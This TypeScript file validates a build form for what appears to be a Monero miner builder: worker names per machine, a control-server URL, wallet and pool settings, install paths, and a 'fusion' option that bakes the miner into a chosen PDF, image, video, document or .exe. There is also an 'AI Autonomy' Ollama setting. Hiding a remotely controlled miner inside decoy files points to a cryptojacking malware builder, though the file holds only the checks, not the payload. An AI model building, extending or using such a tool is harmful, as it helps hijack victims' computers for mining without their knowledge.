import type { BuildRequest } from '../types'; import { runForgeCompatibilityChecks } from './forgeCompatibility'; export type PreflightLevel = 'ok' | 'warn' | 'error'; export interface PreflightCheck { id: string; level: PreflightLevel; message: string; } function isReachableServerUrl(url: string): boolean { try { const u = new URL(url.trim()); const host = u.hostname.toLowerCase(); if (host === 'localhost' || host === '127.0.0.1' || host === '::1') return false; if (host.startsWith('192.168.') || host.startsWith('10.')) return true; if (host.startsWith('172.')) { const parts = host.split('.'); if (parts.length >= 2) { const second = parseInt(parts[1], 10); if (second >= 16 && second <= 31) return true; } } // Public hostnames (Cloudflare tunnel, domain, etc.) if (host.includes('.') && (u.protocol === 'http:' || u.protocol === 'https:')) return true; return false; } catch { return false; } } export function looksLikeXMRWallet(addr: string): boolean { const a = addr.trim(); // Standard (4…, 95 chars), subaddress (8…, 97 chars), integrated (4…, 106 chars) return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a); } export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] { const checks: PreflightCheck[] = []; if (!form.worker_name.trim()) { checks.push({ id: 'worker', level: 'error', message: 'Worker name is required (unique per machine).' }); } else if (!/^[a-zA-Z0-9._-]+$/.test(form.worker_name.trim())) { checks.push({ id: 'worker', level: 'warn', message: 'Worker name has unusual characters; stick to letters, numbers, dash, underscore.' }); } else { checks.push({ id: 'worker', level: 'ok', message: `Worker "${form.worker_name.trim()}" is valid.` }); } if (!form.server_url.trim()) { checks.push({ id: 'server', level: 'error', message: 'Server URL is required — miners must reach your control server.' }); } else if (!isReachableServerUrl(form.server_url)) { checks.push({ id: 'server', level: 'error', message: 'Server URL must be reachable by workers — use LAN IP or your public https:// hostname, not localhost.', }); } else { const u = new URL(form.server_url.trim()); const hint = u.protocol === 'https:' ? 'Public/tunnel URL OK.' : 'LAN URL OK.'; checks.push({ id: 'server', level: 'ok', message: `Control endpoint looks valid. ${hint}` }); } if (!form.wallet.trim()) { checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' }); } else if (!looksLikeXMRWallet(form.wallet)) { checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4 or 8, length 90–106).' }); } else { checks.push({ id: 'wallet', level: 'ok', message: 'Wallet address format OK.' }); } if (!form.pool_host.trim()) { checks.push({ id: 'pool', level: 'error', message: 'Pool host is required.' }); } else { checks.push({ id: 'pool', level: 'ok', message: `Pool ${form.pool_host}:${form.pool_port} configured.` }); } if (form.install_base === 'custom' && !form.install_custom_base.trim()) { checks.push({ id: 'install', level: 'error', message: 'Custom install base path is required.' }); } else { checks.push({ id: 'install', level: 'ok', message: 'Install path configuration OK.' }); } const out = (form.output_dir || '').trim(); if (!out) { checks.push({ id: 'output', level: 'warn', message: 'No output folder set — build will only be stored under data/builds (still downloadable).' }); } else if (out.includes('..') || out.includes(':') || out.startsWith('\\') || out.startsWith('/')) { checks.push({ id: 'output', level: 'error', message: 'Output folder must be a relative path under server data_dir (example: exports).' }); } else { checks.push({ id: 'output', level: 'ok', message: `Output folder: data/${out}` }); } if (form.fusion_enabled) { if (!fusionPrepSelected) { checks.push({ id: 'fusion', level: 'error', message: 'Fusion is on — choose a file to fuse (PDF, PNG, video, doc, or .exe).' }); } else { checks.push({ id: 'fusion', level: 'ok', message: `Fusion ready → universal ZIP with runners for ${form.fusion_output_name || 'each OS'}.` }); } if (fusionPrepSelected && form.fusion_media_mode === 'embedded') { checks.push({ id: 'fusion_embedded', level: 'warn', message: 'Embedded mode bakes the file into one .exe — use ZIP bundle (paired) for large images/videos or if the build fails.', }); } } if (form.thread_mode === 'fixed' && form.threads < 1) { checks.push({ id: 'threads', level: 'error', message: 'Fixed thread count must be at least 1.' }); } if (form.ai_enabled) { const endpoint = (form.ai_ollama_endpoint || '').trim(); const model = (form.ai_model || '').trim(); if (!endpoint) { checks.push({ id: 'ai', level: 'error', message: 'AI Autonomy is on — set the Ollama endpoint URL.' }); } else { try { const u = new URL(endpoint); if (!u.protocol.startsWith('http')) { checks.push({ id: 'ai', level: 'warn', message: 'Ollama endpoint should use http:// or https://.' }); } else { checks.push({ id: 'ai', level: 'ok', message: `Ollama endpoint ${endpoint} configured.` }); } } catch { checks.push({ id: 'ai', level: 'error', message: 'Ollama endpoint URL is not valid.' }); } } if (!model) { checks.push({ id: 'ai', level: 'warn', message: 'AI model name is empty — will default to llama3.2 on the server.' }); } else { checks.push({ id: 'ai', level: 'ok', message: `AI model: ${model}` }); } } // Incompatibility + coupling rules checks.push(...runForgeCompatibilityChecks(form, fusionPrepSelected)); return checks; } export function preflightHasErrors(checks: PreflightCheck[]): boolean { return checks.some((c) => c.level === 'error'); }